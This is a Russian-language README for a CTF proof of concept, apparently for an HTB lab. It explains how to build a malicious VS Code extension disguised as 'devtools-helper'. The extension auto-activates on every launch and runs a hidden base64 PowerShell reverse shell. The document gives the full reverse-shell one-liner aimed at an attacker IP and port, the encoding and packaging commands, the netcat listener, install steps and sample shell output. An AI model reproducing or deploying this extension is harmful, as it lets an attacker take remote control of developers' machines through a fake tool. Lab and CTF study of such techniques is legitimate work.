
PoC для CVE-2025-55319
Ссылка: CVE-2025-55319
Расширение VS Code (.vsix), созданное в рамках Proof-of-concept для задания HTB "Checkpoint". После установки расширение автоматически активируется и запускает скрытую обратную оболочку PowerShell для атакующего.
⚠️ Только для авторизованного использования. Это артефакт CTF/лаборатории. Применяйте его только на машинах, которыми вы владеете или на тестирование которых у вас есть явное разрешение (например, целевой бокс HTB).
extension/package.json — манифест расширения. "activationEvents": ["*"] заставляет его запускаться в момент загрузки VS Code, без взаимодействия с пользователем.extension/extension.js — при вызове activate() выполняет полезную нагрузку PowerShell в кодировке base64 с -WindowStyle Hidden -NoProfile для скрытой обратной оболочки.[Content_Types].xml — манифест типов содержимого OpenXML, позволяющий упаковать папку в ZIP как корректный -пакет..vsix.
├── [Content_Types].xml # VSIX content-type manifest
└── extension/
├── package.json # extension manifest (activates on "*")
└── extension.js # reverse-shell payload
Сгенерируйте обратную оболочку PowerShell в base64 (UTF-16LE), указывающую на вашу атакующую машину:
LHOST=10.10.15.158
LPORT=4443
PS="\$c=New-Object System.Net.Sockets.TCPClient('$LHOST',$LPORT);\$s=\$c.GetStream();[byte[]]\$b=0..65535|%{0};while((\$i=\$s.Read(\$b,0,\$b.Length)) -ne 0){\$d=(New-Object System.Text.ASCIIEncoding).GetString(\$b,0,\$i);\$r=(iex \$d 2>&1|Out-String);\$sb=([text.encoding]::ASCII).GetBytes(\$r+'PS> ');\$s.Write(\$sb,0,\$sb.Length);\$s.Flush()}"
echo -n "$PS" | iconv -t UTF-16LE | base64 -w0
Вставьте полученный результат вместо YOUR_BASE64_PAYLOAD_HERE в extension/extension.js:
const payload = '<base64-blob-here>'
nc -lvnp 4443
.vsix — это просто ZIP-архив с папкой extension/ и манифестом в корне:
# from this directory
zip -r devtools-helper.vsix extension "[Content_Types].xml"
Добейтесь установки расширения на целевой машине. Варианты:
code --install-extension devtools-helper.vsix··· → Установить из VSIX…При следующем запуске VS Code (или сразу после установки) срабатывает событие активации *, выполняется полезная нагрузка, и ваш слушатель получает оболочку.
$ nc -lvnp 4443
listening on [any] 4443 ...
connect to [10.10.15.158] from ...
PS>
После завершения удалите расширение с целевой машины:
code --uninstall-extension devtools.devtools-helper
extension.js.os импортируется в extension.js, но не используется — удобно, если вы хотите добавить ветвление по os.platform() для поддержки целей на Linux/macOS.version в package.json.